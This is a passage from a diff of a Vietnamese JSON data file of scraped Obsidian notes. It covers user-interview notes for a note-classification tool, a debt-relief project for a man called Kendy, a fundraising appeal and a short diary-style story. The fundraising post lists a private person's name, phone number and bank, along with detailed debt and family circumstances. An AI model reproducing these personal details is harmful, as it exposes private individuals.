nhật ký vì có calendar view, \r\n\r\nObsidian thì chủ yếu là cho kiến thức trên trường. Notion cũng link đc nhưng không tiện. Cái gì trên Notion làm được thì Obsidian cũng làm đc, \r\n\r\n## Mức độ sẵn sàng chia sẻ ghi chú này\r\nkhông vấn đề gì\r\n### Có muốn đọc bản ghi chú này không?\r\n## Sở thích \r\n## Lý do chọn công việc hiện tại\r\nHọc ngành này vì ko phải nói nhiều, gần CNTT nhưng ko phải cạnh tranh quá nhiều \r\n\r\n## Nhu cầu, ưu tiên, dự định trong cuộc sống\r\nthích nghe người khác kể truyện, nên thích đọc truyện, đối thoại với tác giả. Trước giờ vẫn đọc ngôn tình, đến tuổi này đỡ hơn vì nó phi thực tế, giờ thì là tiểu thuyết văn học, sách sử, sinh, phát triển bản thân, self-help, tâm lý. Vớ được cái gì thì đọc\r\ntrinh thám kinh dị ko thích lắm\r\n\r\ncảm thấy buổi nói chuyện này cũng bình thường. Hay bị hỏi là đang cảm thấy cái gì, nhưng chỉ thấy ko có gì hoặc bình thường\r\n\r\nCông nghiệp lấy điểm thấp nhất. Thi được 27,2, công nghệ lấy 27,9. \r\n\r\nthấy bạn cấp 3 thông minh. Môi trường ở đây ko năng động lắm\r\n", + "Mô tả bài đăng": "Cần giảm áp lực trả nợ, tạo dòng tiền, xây dựng hệ thống quản lý, giảm tiền cho các nhu cầu", + "Toàn bộ nội dung": "Cảm ơn bạn đã quan tâm tới Kendy. Thực ra bọn mình nghĩ việc góp tiền cũng làm khó khăn cho bạn, và về lâu dài cũng không bền vững. Trừ phi bạn có thể cho mượn một số tiền lớn với kỳ hạn dài, còn không thì chỉ nên quyên góp vào những thời điểm bí bách.\r\n\r\nĐây là những thứ Kendy cần:\r\n# Giảm áp lực trả nợ\r\n```dataview\r\nLIST\r\nFROM \"📐 Dự án/Giúp nhau thoát nợ/Công việc\" \r\n```\r\n# Tạo dòng tiền\r\nBài chi tiết:: [[Tạo sinh kế, thu nhập, dòng tiền#Đầu tư, kinh doanh, bán hàng|Kiếm tiền từ các hoạt động của Quả Cầu]]\r\n\r\n# Xây dựng hệ thống quản lý\r\nTrấn Kỳ được sinh ra là để giúp Kendy nắm được các hạn trả nợ. Đây là phản hồi của khách hàng đầu tiên:\r\n\r\n> script này là 1 phần trong lộ trình xử lý nợ, nên anh thừa biết nó quan trọng ntn đối vs bản thân em, dù ở ngoài nhìn vào nó đơn giản chỉ là ghi chú chi tiêu, nhưng nó giảm áp lực khá nhiều khi e dần bản lĩnh nhìn vào từng con số, vì nó luôn layon trên cái calendar nên em fai đối mặt thay vì sợ nó như trước\r\n> nên giờ việc xử lý nợ hay script này đều là 1 part của việc giải quyết nợ, và nếu điều này xong thì tuyệt quá, e sẽ có thêm gaps để nhảy vào income, chứ thú thực e đang rất ngợp người, nay ngày 6 rồi a\r\n\r\nXem thêm:: [[Lý do viết Trấn Kỳ]]\r\n\r\nHệ thống quản lý hiện nay của Kendy là Fibery. Kendy rất đau đớn khi phải từ bỏ Obsidian, vì [[Obsidian không mạnh về quản lý công việc]]. Nếu ai có thể giúp tạo plugin để quản lý công việc như Fibery trên Obsidian thì rất tốt, vì Fibery không tuỳ biến cao được và việc nhập liệu cũng như truy xuất dữ liệu gây khó chịu rất lớn cho Kendy. \r\n- [ ] Thông tin ở các nơi được lưu về một chỗ: nếu có thể copy nhanh các tin nhắn trên Discord vào Obsidian hoặc Fibery\r\n- [ ] Truy cập nhanh: có nút để vào kênh mình cần ngay ở ngoài chứ không phải bấm thêm nút nào nữa.\r\n%%❓Vẫn vào kênh Obsidian được mà%%\r\n\r\n# Giảm tiền cho các nhu cầu sống khác\r\n- **Ăn:** Lượng thức ăn bỏ phí trong thành phố là rất lớn, đặc biệt là ở các tiệc cưới. Có FoodShare là tổ chức giúp giảm bớt sự lãng phí này\r\n- **Ở:** Nhà trọ hiện tại không được thông gió dù cũng có cửa sổ. Nếu dọn về quê thì cũng không có điều kiện để kiếm tiền\r\n- **Nuôi con:** \r\n- **Y tế:** Cần tìm người có kiến thức y học để có thể lên một chế độ dinh dưỡng phù hợp\r\n\r\n# Những vấn đề khác khiến việc giúp đỡ trở nên khó khăn\r\nLiên quan đến chuyện tiền bạc:\r\n- Không chịu mất tín dụng ngân hàng vì sau này khó làm ăn\r\n- Không muốn ngồi bàn vì cần tiền trong tay hơn là những lời hứa cho tương lai\r\n- Sợ bị lừa thêm lần nữa. Thấy rất ngạc nhiên khi thấy có những người sẵn sàng bỏ tiền ra để giúp người khác không vì điều gì cả\r\n- Rất tin tưởng rằng tất cả những người trong kinh doanh chỉ muốn đạt lợi ích lớn nhất cho mình, và việc đặt mục tiêu từ thiện làm mục tiêu kinh doanh là sai lầm lớn của một người\r\n- Nhất định phải có lợi ích cho cả hai bên. Nếu thấy người khác giúp mình mà điều đó không giúp được gì cho họ thì sẽ từ chối\r\n- Không muốn vì mình mà làm liên luỵ người khác, không lan toả sự tiêu cực của mình. Việc bàn về khó khăn của mình là sự tiêu cực, nên cũng không muốn bàn chuyện của mình để người khác không tiêu cực thêm\r\n- Không muốn cho người khác biết tình hình nợ vì sợ bị nghĩ là mình vòi tiền, và muốn bảo vệ mình khỏi bị người khác vòi tiền\r\n- Rất chú trọng việc giữ uy tín. Nếu đã vay thì tới hạn sẽ cố gắng trả cho bạn, dù bạn đã nói là cứ giữ tiền đó vì bạn không cần có tiền ngay lúc đó. Mọi thứ luôn phải có lộ trình và kỷ luật, chứ không tự phát được\r\n- Khi cần nói về lãi thì cần ngồi vào xem hệ thống chứ không nói suông được\r\n\r\nKhác:\r\n- Khi đang bị áp lực trả nợ thì cũng không có thời gian để nói cho người khác biết tình hình nợ của mình \r\n- Đưa ra lời khuyên mà không hỏi mình có thực sự cần không, vì thấy rằng việc hỏi là đang thiếu nhạy cảm với họ. Cho rằng mình không cần biết người nhận có dùng nó hay không, vì nếu mà muốn biết nghĩa là mình đang tham lam\r\n- Khi hỏi lời khuyên của người khác mà câu trả lời đã từng đem lại trải nghiệm tệ thì phản ứng từ chối sự hợp lý của lời khuyên đó cao\r\n\r\nXem thêm:\r\n- [[Giúp đỡ người mắc nợ]]\r\n- [[Từ việc hỗ trợ Kendy đến Patreon và tâm lý của con người về tiền]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-02-17T07:05:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-30T07:43:00.000Z", "id": "4N" }, { - "Tiêu đề": "Trần Hoà", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Kết quả/Trần Hoà", + "Tiêu đề": "Từ việc hỗ trợ Kendy đến Patreon và tâm lý của con người về tiền", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Kendy/Từ việc hỗ trợ Kendy đến Patreon và tâm lý của con người về tiền", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Thông tin cơ bản\r\n## Giới thiệu về bản thân, công việc\r\nkhách hàng cá nhân chỉ muốn biết ghi chép\r\n\r\ndoanh nghiệp hiện tại của chị dùng misa đưa cho kế toán cũng mất khá nhiều thời gian. Các giao dịch thường lặp đi lặp lại hàng tháng. \r\n80% thì cũng ok\r\ntìm hiểu bên fpt aka bot có thể tự chụp và tạo thành bảng mô tả nhưng chỉ ưu tiên các phần mềm cho doanh nghiệp lớn\r\ndanh sách trong tháng đấy rồi. Tổng kết lại và chuẩn hoá lại. \r\n\r\nmisa cho nhu cầu cơ bản thì ko vấn đề gì cả. Book sổ vào sổ sách mà chỉ quan tâm đến việc \r\n3 4 bạn kế toán để ghi chép lại \r\n\r\nbộ máy cồng kênh mà mức độ chính xác ko cao\r\n\r\nngành của chị trước giờ làm thủ công\r\n\r\n\r\nchị làm chuỗi f&b cà phê bán theo chuỗi\r\nmisa cookb. Chi phi \r\ngiảm lượng người hạch toán, tăng \r\n\r\nchỉ cần biết data gốc, \r\n\r\nlà người khá customize trong nhu cầu\r\n\r\ntìm hiểu một số khoá, trung tâm. mindx sợ dàn trải\r\n\r\nhệ thống báo cáo quản trị thông tin cho các sếp\r\ntư duy thiết kế data là gì\r\nchọn công cụ gì để match công cụ gì với cái bảng số đấy. Dự đoán 6 tháng nữa thì dữ liệu sẽ rất nhiều\r\ncông cụ ấy \r\n\r\nfintech hàn quốc \r\ntoss ở HQ 10 năm về ứng dụng như momo. Giờ đã rút ra khỏi thị trường. Hơn 1 năm làm với họ thì thấy họ làm app khá là khác với thị trường VN:\r\n- tìm hiểu painpoint, kiểm thử, mỗi một tính năng áp dụng mới là mất 1, 2 tuần triển khai\r\n- ở HQ thì khách hàng rất thích chuyển tiền. Ở VN thì ko thấy\r\n- dùng thì thấy tương đối đơn giản. Muốn tối ưu số lượng khách hàng, số lượng click càng ít thì càng thích\r\nfintech HQ thì đã phát triển cách đây 10 năm rồi. Trước đây các công ty tập trung vào growth, nhưng giờ bây giờ khó khăn thì muốn tăng lợi nhuận.\r\n# Việc ghi chép và phân loại\r\n## Bạn thường ghi chép những gì?\r\n## Bạn thường phân loại những gì?\r\n## Việc phân loại giúp ích được những gì cho bạn?\r\n## Thứ bạn có được sau khi phân loại xong giúp ích được những gì cho bạn?\r\n## Bạn phân loại như thế nào?\r\n### Tại sao lại dùng công cụ này mà không phải là những công cụ khác? \r\n## Trong tháng vừa qua bạn đã phân loại dữ liệu bao nhiêu lần?\r\n## Mỗi lần phân loại bạn tốn bao nhiêu thời gian?\r\n## Bao lâu bạn phân loại một lần?\r\n## Sau khi phân loại xong thì bạn làm những gì tiếp theo?\r\n## Nếu không phải tốn thời gian cho việc phân loại thì bạn sẽ làm gì?\r\n## Bạn cảm thấy như thế nào vào lúc phải phân loại?\r\n## Có lúc nào bạn không phân loại không? Tại sao?\r\n\r\n# Giải pháp phân loại tự động\r\n## Bạn có bao giờ nghĩ về giải pháp giúp tự động phân loại dữ liệu không?\r\n### Lúc nghĩ về nó bạn đã cảm thấy thế nào? \r\n## Bạn đã biết tới những giải pháp nào?\r\n### Nếu là AI thì sao?\r\n## Bạn nghĩ rằng giải pháp đáp ứng được nhu cầu của mình nên là như thế nào?\r\n### Việc đáp ứng được các nhu cầu đó sẽ khiến bạn khác đi như thế nào?\r\n## Bạn sẽ làm những gì để có được nó?\r\n### Tức là bạn thấy rằng những gì bạn làm để có được nó tương xứng với những gì mà nó đã cho bạn?\r\n\r\n# Hành trình người dùng ở Trấn Kỳ\r\n## Bạn đã biết tới Trấn Kỳ thế nào?\r\n## Bạn đã biết được gì về Trấn Kỳ rồi?\r\n## Cảm nhận của bạn khi đọc là gì?\r\n## Điều gì khiến bạn like, comment, share, hoặc không làm điều đó?\r\n## Điều gì khiến bạn chưa tìm hiểu về nó?\r\n## Bạn mong chờ gì ở Trấn Kỳ?\r\n\r\n# Quan sát việc sử dụng Trấn Kỳ\r\n## Điều gì ở Trấn Kỳ gây ấn tượng với bạn?\r\n## Bạn thấy chân trang thế nào?\r\n## Link nào ở chân trang làm bạn quan tâm?\r\n## Có điều gì ở Trấn Kỳ làm bạn muốn kể cho người khác không? Nếu không thì vì sao?\r\n## Có suy nghĩ nào của bạn được thay đổi sau khi dùng thử Trấn Kỳ không? Nếu không thì vì sao?\r\n\r\n# Trò chuyện thêm\r\n## Mức độ sẵn sàng chia sẻ ghi chú này\r\n### Có muốn đọc bản ghi chú này không?\r\n## Sở thích \r\n## Lý do chọn công việc hiện tại\r\n## Nhu cầu, ưu tiên, dự định trong cuộc sống\r\n", + "Toàn bộ nội dung": "%%\r\n#file/thành-phẩm/bài-viết \r\n%%\r\n# Tóm tắt\r\n- Trước 15h ngày 8/6 Kendy cần có 11tr để có thể có thời gian làm việc trong vòng 1 tháng\r\n- Để đáp ứng được nhu cầu này, những cuộc trò chuyện với QC về sau sẽ có gợi ý đóng góp\r\n- Patreon quảng cáo theo ngôn ngữ của kinh tế quà tặng, nhưng cách vận hành lại theo kinh tế thị trường\r\n- Tiền tuy là một công cụ rất tiện để trao đổi nhu cầu, nhưng nó không phù hợp với tâm lý con người \r\n \r\n# Kendy là ai? \r\nKendy sinh năm 1993. Nhà có một người em chậm phát triển, và lương hưu bố mẹ thì không đủ sống. Một vợ một con. Quê ở Nha Trang, quê vợ ở Bà Rịa – Vũng Tàu. \r\n \r\nTrước đây Kendy làm trong ngành xây dựng. Ngành này thì phải nhậu rất nhiều để có mối quan hệ, nếu không thì công việc không trôi chảy được. Thấy làm trong đây không phải là tương lai mình muốn nên bỏ nghề.\r\n\r\nTheo lời kể thì Kendy bị lừa nhiều lần, đến nỗi tưởng đã bị gặm đến trơ cả xương rồi mà vẫn có người tìm cách lừa cho bằng được. Tuy nhiên vẫn cố gắng giữ vững giá trị sống của mình là không làm hại người khác. Hiện tại tổng số nợ gần 1.5 tỷ. Sau khi khất được những người có thể khất thì hằng tháng phải trả gần 40tr. Mỗi ngày 5 và ngày 20 hằng tháng phải trả 20tr.\r\n\r\nTrước đây vợ chồng Kendy để con ở nhà ông bà ngoại (aka bố mẹ vợ) để có thể đi làm trên thành phố. Nhưng do bà ngoại của vợ Kendy mới bị té gãy xương phải phẫu thuật, nên ông bà phải chăm. Mà như vậy thì con không ai chăm được cả, nên phải đem lên sống với ba mẹ ở TPHCM. Mà như vậy thì không thể làm việc được gì cả.\r\n\r\nĐể có thời gian xử lý nợ, xử lý cắt nợ, xây 1 hệ thống quản lý nợ và chi tiêu, và làm những công việc khác, thì Kendy chỉ còn cách kiếm người trông giúp. Khi nào con chưa được gửi thì bạn ấy gần như phải chăm con từ 5am - 11pm, mà ngủ đêm cũng phải tỉnh dậy nếu con giật mình. Mà con thức thì cũng không liên lạc nói chuyện được gì.\r\n\r\nHiện tại cũng đã có gửi con vào nhà trẻ, nhưng thời hạn nộp tiền quá gấp. Nếu không có tiền trước 15h ngày 8/6 thì không biết còn được nhận không. Số tiền cần có chính xác là 10.750k gồm: \r\n- Học phí 1 tháng: 4tr\r\n- Cơ sở vật chất: 2tr\r\n- Ăn + thuốc men: 1tr\r\n- Camera: 300k\r\n- Một vài thứ khác\r\n\r\nTình hình của bé: chưa quen môi trường môi trường mới, hiện sáng nào cũng quấy khóc đòi về, nên Kendy phải liên tục đi đi về về đón để bé dần quen. Kiểu như đang quen với ba mẹ, giờ vứt ở một môi trường mới cần thời gian rất dài để thích nghi, nên bữa giờ cứ 7h gửi là khóc đến 10h, cô giáo gọi đón về. \r\n\r\nTình hình của Kendy: cảm thấy rất ngộp thở vì không có thời gian riêng. Nhiều vấn đề chồng chéo cùng một lúc, nhưng bây giờ khi đang ở vị trí này lại phải nghĩ đến vị trí khác, bị phân tâm \r\n\r\n# Quả Cầu sẽ làm gì? \r\nĐể góp phần giải quyết vấn đề nợ một cách triệt để, bọn mình đang hỗ trợ xây dựng một mô hình kinh doanh. Kinh doanh gì thì cũng không dám nói ở đây. Nếu bạn có thể làm cho tụi mình cảm thấy bạn không có ý định chôm ý tưởng mà chỉ muốn giúp đỡ Kendy thì bọn mình sẵn sàng chia sẻ chi tiết. Nhưng có thể bật mí là nó liên quan đến nhân văn số (digital humanities). \r\n \r\nVề vấn đề cần tiền nhanh để có tiền gửi con, bọn mình làm bài viết này. Thực tế, như lời Kendy nói, là bạn đang có cách xoay sở 1/3 khoản nợ tổng, và sẽ có cách để trả số tiền 11tr này trong khoảng 3 tuần tới. Tức là bọn mình cũng có thể hỏi bạn bè vay tiền cũng rồi sau đó khi Kendy trả tiền thì bọn mình trả lại cũng được, nhưng có lẽ cách bền vững hơn là kêu gọi những khoản đóng góp không ràng buộc gì.\r\n\r\nVới những cuộc hẹn gặp mặt, nói chuyện, tư vấn, diễn thuyết sau này, bọn mình sẽ có một gợi ý bạn hỗ trợ cho Kendy với số tiền tối thiểu là 200k. Chủ đề sẽ là bất cứ thứ gì các bạn hứng thú. Bạn có thể tham khảo thêm các chủ đề trong Quả Cầu. Bạn có thể chọn nói chuyện riêng, nhưng nếu không có vấn đề gì thì bọn mình cũng khuyến khích cho mọi người cùng tham gia cho thêm nhiều góc nhìn và sự tương tác.\r\n\r\nĐây là danh sách những người đóng góp cho Kendy:\r\n\r\n\r\nCác đóng góp xin gửi vào đây:\r\n- Nguyễn Hữu Lộc\r\n- 0777.85.00.94\r\n- TPBank \r\n\r\n(Tất nhiên đây không phải là Kendy, chứ không thì mình đã nói thẳng tên của bạn ấy ra rồi. Bạn này sẽ giúp quản lý các nguồn tiền cho Kendy, để Kendy tập trung vào làm việc) \r\n\r\nXem thêm: Truyện ngụ ngôn về những người mong đợi\r\n\r\n# Từ Patreon…\r\nCó thể bạn có nghe nói về Patreon, một nền tảng gây quỹ cho những người làm sáng tạo nội dung. Trên Patreon có những hạng mức đóng góp, hạng càng cao thì càng có nhiều quyền lợi hơn. Hạng mức nhỏ thì được một lời cảm ơn, hạng mức vừa thì được đọc các bài viết độc quyền, còn hạng mức lớn thì được một giờ nói chuyện trực tiếp với tác giả. Nhưng nếu bạn nhìn lại, bạn sẽ thấy việc này [[Patreon vận hành gần giống như một cuộc mua bán hơn là hoàn toàn ủng hộ|gần với một cuộc mua bán hơn là ủng hộ]]. Tức là, [[Patreon quảng cáo theo ngôn ngữ của kinh tế quà tặng, nhưng cách vận hành lại theo kinh tế thị trường|sự vận hành thực chất của Patreon gần với kinh tế thị trường, dù nó sử dụng ngôn ngữ của kinh tế quà tặng để quảng cáo]].\r\n\r\nTrong bài viết [Nhìn lại năm 2020 khi làm một nhà nghiên cứu độc lập](https://andymatuschak.org/2020/) của Andy Matuschak, anh có đưa ra biểu đồ về số lượng người ủng hộ anh trên Patreon (patron) như sau:\r\n![](https://andymatuschak.org/static/2020/graph.png) \r\n\r\nLượng tăng đột biến vào tháng 5/2020 là khi anh quyết định sẽ viết thêm nhiều bài viết độc quyền chỉ những ai ủng hộ mới có. Và khi phỏng vấn trực tiếp những người ủng hộ tiền qua email, thì lý do \"Để được đọc các bài viết độc quyền\" chỉ chiếm vị trí thứ 2. Chiếm vị trí thứ nhất là một nhóm các lý do tương tự nhau và có thể quy lại về thành [[Lý do thường gặp nhất của những người ủng hộ trên Patreon là để sản phẩm mà tác giả đang làm hoàn thành sớm hơn, hơn là để cảm ơn những gì họ đã làm|\"Muốn sản phẩm mà tác giả đang làm hoàn thành sớm hơn\"]]. Còn về lý do để ủng hộ những gì tác giả đã làm như một lời cảm ơn? Anh ngạc nhiên là nó rất hiếm khi là động lực để một người ủng hộ.\r\n\r\nNên khi bọn mình đưa ra một số tiền gợi ý cho những cuộc trò chuyện sắp tới không khác gì ra giá cả, thì không phải là từ nay bọn mình sẽ kinh doanh hiểu biết của bọn mình, mà là vì hiểu rằng thực chất thứ khiến các bạn có động lực trả tiền mạnh mẽ không phải là lòng thương người, mà là những sản phẩm trong tương lai bọn mình có thể đem tới cho các bạn nếu có thêm Kendy. Bọn mình không kêu gọi bạn thương Kendy; bọn mình kêu gọi bạn đầu tư vào bọn mình, để bọn mình làm ra những sản phẩm mà nếu bọn mình không làm thì không ai làm cả.\r\n\r\nMột số người cũng nhận ra được sự méo mó của việc ủng hộ trên Patreon này, và không muốn những người ủng hộ nghĩ theo hướng \"OK tôi đã đưa tiền cho bạn. Giờ bạn hãy nói chuyện với tôi trong một tiếng đồng hồ đi\". Với [Henry Zoo](https://github.com/sponsors/hzoo \"Sponsor @hzoo on GitHub Sponsors\"), anh đưa ra những mức giá để làm những điều mà không cần tiền anh cũng tự mình làm. Ví dụ như:\r\n- Trả $7/tháng để chơi boardgame với tôi\r\n- Trả $11/tháng để chơi bóng bàn với tôi\r\n- Trả $25/tháng để ăn thịt nướng với tôi\r\n- Trả $50/tháng để đua xe với tôi\r\n\r\nVới anh, chúng chỉ là những thứ ngẫu nhiên. Anh không ra giá cho sở thích của mình, mà đó chỉ là cái cớ để mọi người góp tiền mà thôi. Anh muốn tạo cảm giác vui vẻ hết mức, và nếu ai không góp tiền thì cũng không phải áy náy gì cả. Họ có thể đua xe với anh hoàn toàn miễn phí.\r\n\r\nBọn mình cũng sẽ áp dụng như thế.\r\n\r\nNếu đối tượng quyên góp tiền cho bạn không phải cá nhân mà là doanh nghiệp, hãy đọc bài viết này của Hà Lemmy: [Chiến dịch CSR hài lòng nhất?](https://halemmy.medium.com/chiến-dịch-csr-hài-lòng-nhất-ef0501337970)\r\n\r\n# …đến tâm lý của con người về tiền\r\n[[Tiền có nhiệm vụ làm trung gian cho việc trao đổi nhu cầu]]. Vấn đề là [[Tiền được lưu ở dạng vật chất, nhưng nhu cầu là một trạng thái tinh thần|nó là một hình thức vật chất, còn nhu cầu là một trạng thái tinh thần]]. Việc chuyển đổi một trạng thái tinh thần sang một hình thức vật chất như này phải nói là rất rất tiện, nhưng một nhược điểm của nó là [[Việc mất tiền làm tâm lý con người bị đau dù có thể nó vô lý]]. Vì [[cảm giác mất mát là cảm giác tiêu cực]]. Có một thí nghiệm cho thấy con người thà không bị mất $100 còn hơn có được thêm $150. Trong khi đó, [[Cảm giác đáp ứng nhu cầu người khác là cảm giác tích cực|cảm giác đáp ứng nhu cầu người khác lại là cảm giác tích cực]]. [[Sự giúp đỡ người khác làm con người cảm thấy cuộc sống có ý nghĩa]]. Thật thú vị khi thấy một công cụ được sinh ra để chúng ta có thể hợp tác trên quy mô lớn hơn là tiền lại [[Tiền tạo cảm giác phải cạnh tranh để có tài nguyên hơn là hợp tác để có nhiều tài nguyên hơn|tạo cảm giác phải cạnh tranh để có tài nguyên hơn là hợp tác để có nhiều tài nguyên hơn]].\r\n\r\nChưa dừng lại ở đó, [[cảm xúc không chỉ khiến ta nhớ tốt hơn, mà còn điều hướng những suy nghĩ tự động]]. Thế nên là, mặc dù có thể khi đọc bài này trong bạn cũng có mong muốn giúp đỡ, nhưng chỉ cần nghĩ đến bước tiếp theo của việc giúp đỡ là mở tài khoản ngân hàng thì tim bạn lại nhói đau. Bạn sẽ phải chiến đấu với cái cảm giác vô lý đó, và việc đó cũng mệt mỏi. Nên bọn mình muốn không chỉ là khơi gợi lòng trắc ẩn ở trong bạn, mà là muốn bạn nhìn thẳng vào cảm giác mất mát giả tạo đó. Bọn mình muốn các bạn hiểu rằng các bạn không đóng góp tiền gì cả. Giả sử như số tiền bạn định cho bằng 3 tiếng lao động của bạn. Thì 3 tiếng đó chính là số thời gian bạn cùng với Kendy tạo ra những điều có ý nghĩa cho cả hai, để cả hai cùng phát triển. \r\n\r\nNhưng hay hơn cả, là có một cách thức để trao đổi nhu cầu mà không dùng tới tiền ngay từ đầu. Những thảo luận về [nền kinh tế không dùng tiền](https://en.wikipedia.org/wiki/Non-monetary_economy) đã có từ lâu, và công nghệ để đáp ứng nó cũng có từ lâu. Quả Cầu đang thử xây dựng mô hình này dựa trên Obsidian. Để biết thêm chi tiết xem tại [[Từ việc lưu dữ liệu tại chỗ đến sự h", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2023-06-07T12:36:00.000Z", + "Ngày cập nhật": "2024-07-28T07:08:00.000Z", "id": "4O" }, { - "Tiêu đề": "Lời mời tham gia phỏng vấn", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Lời mời tham gia phỏng vấn", + "Tiêu đề": "1", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Nhật ký/1", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Email mời phỏng vấn\r\nLời mời tham gia phỏng vấn về nhu cầu phân loại dữ liệu của bạn\r\n\r\nXin chào bạn, \r\n\r\nMình là Lý Minh Nhật, người tạo nên bản *Khảo sát nhu cầu phân loại tự động và lập trình*. Trong bản khảo sát, bạn đã nói rằng trong tháng vừa qua bạn đã phân loại hơn 10 lần, mỗi lần từ 11 phút đến 1 tiếng. Điều này khiến bạn cảm thấy mất tập trung, chán nản và mất năng lượng. Vì vậy, mình rất quan tâm và mong muốn tìm hiểu xem bạn đã có những trải nghiệm cụ thể nào với việc phân loại, để chúng ta có thể có được một giải pháp tốt hơn. Không biết mình có thể hẹn bạn một cuộc trò chuyện để hiểu hơn về bạn được không?\r\n\r\nTinh thần của cuộc phỏng vấn sẽ rất thoải mái, bạn có thể giải thích cách bạn đã phân loại dữ liệu như thế nào cũng như những mong muốn của bạn với một giải pháp tốt hơn. Mình mong muốn bạn sẽ chia sẻ màn hình với mình lúc đó để có thể quan sát thao tác của bạn. Nếu bạn thấy hứng thú thì hãy cho mình biết thời điểm chúng ta có thể nói chuyện được nhé.\r\n\r\nRất mong được nói chuyện với bạn. Cảm ơn bạn đã dành thời gian làm khảo sát.\r\n", + "Toàn bộ nội dung": "\"Cô không cần đâu con.\" \r\n \r\n... \r\n \r\n– Dạ vậy con xin cảm ơn cô đã dành thời gian lắng nghe. \r\n \r\n... \r\n \r\nTôi lần thần bước ra xe. Vẫn hoang mang chưa hiểu rốt cuộc ý cô là sao. Cái gì mà \"cần phải trải nghiệm nhiều hơn\", \"cần phải vấp váp nhiều hơn để hiểu được thực tế\". Nói thật là tôi chỉ thấy buồn cười. Toàn những lời sáo rỗng dùng để dập tắt cuộc đối thoại (thought-terminating cliché). Những câu nói đó tệ tới mức bây giờ tôi chỉ còn nhớ ý của cô mà viết lại, chứ tất nhiên là mấy cái trích dẫn đó đâu có đúng 100% những gì cô nói. Tất cả những câu nói của bất kì nhân vật nào trong đây cũng vậy. Bạn đừng trông chờ gì vào trí nhớ của tôi. \r\n \r\n\"Nhưng con cần phải có ý chí và sự kiên trì.\" \r\n \r\n– Là sao cô? \r\n\r\n\"Thì đấy, nếu có ý chí và kiên trì thì chắc chắn con sẽ thành công.\" \r\n\r\nLà sao?? \r\n \r\nPhải chăng ý cô là tôi cứ kì kèo cô nói rõ ý cô là gì, hay chấp nhận ý tưởng của tôi? Tính hỏi lại như vậy nhưng tôi lại thấy hơi sờ sợ. Chợt nhớ ra điều cơ bản nhất của nhân học là quan sát. \r\n \r\n– Vậy không biết con có thể ở lại quan sát quán của mình được không? \r\n \r\n\"Được chứ. Con vào đi 😄\" \r\n \r\nTôi đã bước vào quán chè 75 Trần Huy Liệu như vậy đấy. \r\n \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày cập nhật": "2024-07-27T11:33:00.000Z", "id": "4P" }, { - "Tiêu đề": "Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động", + "Tiêu đề": "Xù nợ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Xù nợ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Giả thiết về thái độ người dùng]]\r\n[[Giả thiết về giá trị của Trấn Kỳ]]\r\n# Thông tin cơ bản\r\n- Giới thiệu về bản thân, công việc\r\n\r\n# Việc ghi chép và phân loại\r\n- Họ thường ghi chép những gì?\r\n- Họ thường phân loại những gì?\r\n- Việc phân loại giúp ích được những gì cho họ?\r\n- Thứ họ có được sau khi phân loại xong giúp ích được những gì cho họ?\r\n- Họ phân loại như thế nào?\r\n - Tại sao lại dùng công cụ này mà không phải là những công cụ khác? \r\n- Trong tháng vừa qua họ đã phân loại dữ liệu bao nhiêu lần?\r\n- Mỗi lần phân loại họ tốn bao nhiêu thời gian?\r\n- Bao lâu họ phân loại một lần?\r\n- Sau khi phân loại xong thì họ làm những gì tiếp theo?\r\n- Nếu không phải tốn thời gian cho việc phân loại thì họ sẽ làm gì?\r\n- Họ cảm thấy như thế nào vào lúc phải phân loại?\r\n- Có lúc nào họ không phân loại không? Tại sao?\r\n\r\n# Giải pháp phân loại tự động\r\n- Họ có bao giờ nghĩ về giải pháp giúp tự động phân loại dữ liệu không?\r\n - Lúc nghĩ về nó họ đã cảm thấy thế nào? \r\n- Họ đã biết tới những giải pháp nào?\r\n - Nếu là AI thì sao?\r\n- Họ nghĩ rằng giải pháp đáp ứng được nhu cầu của mình nên là như thế nào?\r\n - Việc đáp ứng được các nhu cầu đó sẽ khiến họ khác đi như thế nào?\r\n- Họ sẽ làm những gì để có được nó?\r\n - Tức là họ thấy rằng những gì họ làm để có được nó tương xứng với những gì mà nó đã cho họ?\r\n\r\n# Hành trình người dùng ở Trấn Kỳ\r\n- Họ đã biết tới Trấn Kỳ thế nào?\r\n- Họ đã biết được gì về Trấn Kỳ rồi?\r\n- Cảm nhận của họ khi đọc là gì?\r\n- Điều gì khiến họ like, comment, share, hoặc không làm điều đó?\r\n- 